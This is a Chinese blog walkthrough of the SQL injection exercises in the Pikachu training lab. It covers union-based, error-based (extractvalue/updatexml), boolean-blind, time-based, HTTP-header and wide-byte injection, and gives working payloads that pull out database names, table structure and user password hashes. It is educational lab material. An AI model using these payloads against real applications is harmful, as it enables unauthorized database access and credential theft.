PiKachu之Sql Inject (SQL注入)

概述

SQL注入漏洞,可怕的漏洞。
在OWASP发布的Top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不在多写了。
你可以通过“Sql Inject”对应的测试栏目,来进一步的了解该漏洞。

 

 

 

一、整数型注入

通过试验,  分析

1. POST的请求方式,  与常规的GET方式不同(GET更容易受到攻击)

2. 前端还通过下拉菜单选择的方式来查询,  限制了用户的输入

分析

针对上面两点特点,  依次分析:

第一,  由于是POST型的,  那么我们可以通过抓包来修改id值,  再post给服务器即可;

第二,  虽然前端限制了用户的输入,  但还是可以通过抓包来任意修改id的值。

现在再思考一下服务端怎么进行查询操作:

用户将id值post给服务器,  服务器接受到id值之后,  进行到数据库查询, 返回id值对应的用户名和邮箱

那么查询语句可能是:

SELECT * FROM users WHERE id=$id;  // 整数型

或者

SELECT * FROM users WHERE id='$id';  // 字符型

漏洞利用

抓包修改注入id值:

1 and 1=1

发现查询正常

再抓包修改id为:

1 and 1=2

然后发现查询失败,  注入的语句被执行了 (因为1=2为假,  又为and连接, 所以sql语句的where是不成立的)

这就断定为整数型注入了。

接下来的注入流程不多说,  都是抓包修改id值,  然后爆库爆表等,  下面只给出payload:

  • 爆字段数
1 order by 2
  • 当前用户和数据库
1 union select user(),database()

  • 当前数据库下的所有表
1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()

  • uses表的字段
1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

记得要在where条件中同时加上数据库名和表名 

  • 爆值
1 union select database(),group_concat('~',username,'~',password) from pikachu.users

可以看到,  密码是md5加密的,  解密即可:

 

 

 

二、字符型注入

这次是GET型, 相对没有POST型那么安全:

分析

因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。

猜测后台的SQL查询语句为:

SELECT * FROM users WHERE username='$username';

如果没有对单引号进行过滤处理的话,  这样的sql语句很容易被闭合绕过而加入新的恶意语句,

比如,  当username值为:

kobe' and 1=1 #

这就可以成功注入条件1=1

漏洞利用

下面的注入和整数型的差别不大,  主要是先闭合username值的单引号,  再用#注释后面的单引号

payload如下:

  • 判断注入类型
kobe' and 1=1 #

执行成功,  得知为字符型注入

  • 字段数
kobe' order by 2 #
  • 当前用户和数据库
kobe' union select database(),user() #

  • 爆表
kobe' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() #
  • uses表的字段
kobe' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
  • 爆值

 

kobe' union select database(),group_concat('~',username,'~',password) from pikachu.users #

 

 

 

 

三、搜索型注入

这关是搜索型的,  即对输入的值在数据库中进行模糊匹配:

分析

这个功能运行我们输入用户名的一部分来查找,可以猜想后台使用了数据库中的搜索这个逻辑,比如用了 LIKE 。

对应的sql语句:

select * from 表名 where username like '%$name%'

l漏洞利用

如果真是这样,我们就可以构造对应的闭合,闭合前面的 单引号 和 百分号,注释后面的百分号和单引号。构造的payload如下

ke%' and 1=1 #

可以看到,  成功注入了, 那么sql语句就是猜测的那样

然后判断得字段数为3,  注入方法和上一关很类似,  下面只给出一个demo:

ke%' union select 1,user(),database() #

 

 

 

四、XX型注入

所谓的XX型注入,  就是输入的值可能被各种各样的符合闭合 (比如, 单引号双引号括号等)

分析

首先,  一般是先注入单引号, 使其报错,  观察报错语句就可得知大概的sql语句, 注入:

123'

那么可知sql语句为:

select * from users where username=('$name');

漏洞利用

注入:

kobe') and 1=1 #

发现成立,  即sql语句即为猜测的那样

  • 爆当前数据库和用户:
kobe') union select user(),database() #

 

 

 

五、Insert/Update注入

这关开始之前要先注册一个账户:

注册信息如下:

注册成功后,  POST的参数如下:

分析

之所以insert/update注入,  是因为在用户注册和更新信息的时候存在注入点

这里先分析insert注入

insert注入存在与用户注册时候的过程,  当用户注册新信息并提交服务器的时候,  服务端采用insert来将信息插入数据库

由此得知sql语句可能为:

insert into users(username,password) values($username,$password);

当update时, 也是如此:

update users set username=$username,password=$password where username=$username;

那么针对这种语句, 要这么进行注入呢?

这时候要用报错注入了,  具体可参考之前的博客:  Sqli Less-17 报错注入

漏洞利用

  • insert注入

首先在注册信息处找注入点,  在必填的用户名和密码处注入单引号:

可以看到有信息回显:

于是判断insert语句为:

insert into users(username,password) values('$username','$password');

对应的是用户名处存在注入点,

那么接下来利用 extractvalue() 来报错注入:

hack' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '

需要将前后的单引号闭合才能完成注入, 注入结果如下:

  • update注入

接下来就是update注入了,  注入一般存在与用户修改个人信息的时候

登录我们之前注册好的test1用户:

接下来修改用户信息:

都注入单引号,  看看是否存在注入点:

看来4个信息修改处都存在注入点,  我们随意注入一个:

hack' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '

 

 

 

六、Delete注入

delete注入和上面的insert/update注入大同小异

分析

先随意留言一个:

然后点击删除,  看到数据库返回:

漏洞利用

这么尝试采用联合查询注入id值, 发现被过滤了:

查看源码得知对id是否是数字进行了判断:

但是为对id进行相关的处理,  导致可以进行报错注入

这边我们先留言一个,  然后点删除之后再抓包:

在id值处注入:

1 and extractvalue(1, concat(0x7e,(select database()),0x7e))

 

 

 

七、Http头注入

有些时候,后台开发人员为了验证客户端头信息(比如cookie验证)或者通过http header获取客户端的一些信息,比如useragent,accept字段等, 会对客户端的http header信息进行获取并使用SQL进行处理,如果此时并没有足够的安全考虑, 则可能会导致基于 http header 的 SQL 注入漏洞

分析

登录用户之后,  发现服务端对用户登录的信息进行了记录:

我们对请求头的useragent,accept字段注入单引号,  看看是否回显:

第一次包

第二次包(主要):

然后发现在456处有注入点,  即在Accept处: 

漏洞利用

那么抓包(注意要修改第二次收到的包), 对其注入:

1' or updatexml(1, concat(0x7e, database()), 0) or '

 

 

 

 

八、布尔盲注

在有些情况下,后台使用了错误屏蔽方法屏蔽了报错, 此时无法根据报错信息来进行注入的判断

这种情况下的注入,称为“盲注”

也就是说,  我们只能通过页面是否正确来判断注入的SQL语句是否被成功执行,  事实上,  现在很多网站也都是盲注类型。

分析

这边我们知道,  用户名肯定是字符型,  所以注入类型也肯定是字符型, 

我们可以用下面的payload来判断是否存在注入点:

kobe' and 1=1 #  // 页面正确

kobe' and 1=2 #  // 页面错误

由此得知存在布尔盲注

漏洞利用

在布尔盲注的过程中,  使用到二分法和一些mysql的函数,  比如mid(),  ascii(),  length()等等

比如,  假如我们要爆数据库名,  得先知道数据库的长度, 然后再一个个地去爆数据库名的每个字符,

有的人会问为什么要这样做?

因为页面不存在报错,  无法直接通过报错+联合查询注入得知,  所以只能一点点通过页面是否正确来判断。

  • 爆数据库长度
kobe' and length(database())>10 #   ==>   页面错误

kobe' and length(database())>5 #   ==>   页面正确

kobe' and length(database())>8 #   ==>   页面错误

kobe' and length(database())>6 #   ==>   页面正确

kobe' and length(database())=7 #   ==>   页面正确

可得数据库长度为 7

  • 爆数据库的每一位字符

接下来就是每一个字符了,  (类似用for循环去爆)

第一个字符:

kobe' and ascii(mid(database(),1,1))>115 #  ==> 页面错误

kobe' and ascii(mid(database(),1,1))>110 #  ==> 页面正确

kobe' and ascii(mid(database(),1,1))>112 #  ==> 页面错误

kobe' and ascii(mid(database(),1,1))=112 #  ==> 页面正确

得第一个字符ascii码为112,  对应字符为p

依次爆得剩余字符为:  pikachu

  • 爆数据库的所有表个数
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #  ==>  页面错误

kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5 #  ==>  页面正确

得表的个数为5个

  • 爆第一个表的长度
kobe' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8 #  ==>  页面错误
  • 爆第一个表的每一个字符
kobe' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 #  ==>  页面错误

得到第一表的第一字符为h,  然后依次得到第一个表为httpinfo

  • 爆指定表的字段个数

假如我们现在要爆users表的字段个数:

kobe' and (select count(column_name) from information_schema.columns where 
 table_schema=database() and table_name='users')=4 #

得知users的字段数为4

  • 爆第一个字段的长度
kobe' and length((select column_name from information_schema.columns where 
 table_schema=database() and table_name='users' limit 0,1))=2 #
  • 爆第一个字段的每一个值
kobe' and ascii(mid((select column_name from information_schema.columns where 
 table_schema=database() and table_name='users' limit 0,1),1,1))=105 #

按照这个思路,  就可以把整个数据库给爆出来了。

 

 

 

九、延时注入

布尔盲注还可以看到页面是否正确来判断注入的SQL语句是否成功执行, 而延时注入就什么返回信息都看不了了。

只能通过布尔的条件返回值来执行sleep()函数使网页延迟相应来判断布尔条件是否成立。

分析

这里我们发现不管注入什么,  都是显示一样的信息:  i don't care who you are!

那么这里就是典型的延时注入了。

漏洞利用

需要用到sleep()函数,  

首先看看sleep()函数是否能用:

kobe' and sleep(5) #

可以看到,  的确是延迟了5秒,  存在延时注入点

  • 判断数据库的长度
kobe' and sleep(if(length(database())>7,0,3)) #   ==>  延时

kobe' and sleep(if(length(database())=7,0,3)) #   ==>  不延时

那么接下来的payload就与布尔盲注大同小异了。

 

 

 

十、宽字节注入

在实际的网站中,  很多都是对特殊字符进行转义, 从而过滤特殊字符对sql语句的污染。

当输入单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。

GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。

具体原理可参考之前的blog:  宽字节注入

分析

当我们知道是字符型注入且注入单引号的时候,  发现单引号没有生效:

这时候猜测单引号被转义过滤了,  可以尝试宽字节注入

利用%df将反斜杠结合成一个中文汉字(常为乱码),  进而去掉转义功能:

kobe%df' or 1=1#

发现不成功...

注意左下角,  是POST请求方式,  所以抓包修改即可:

注入成功。

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值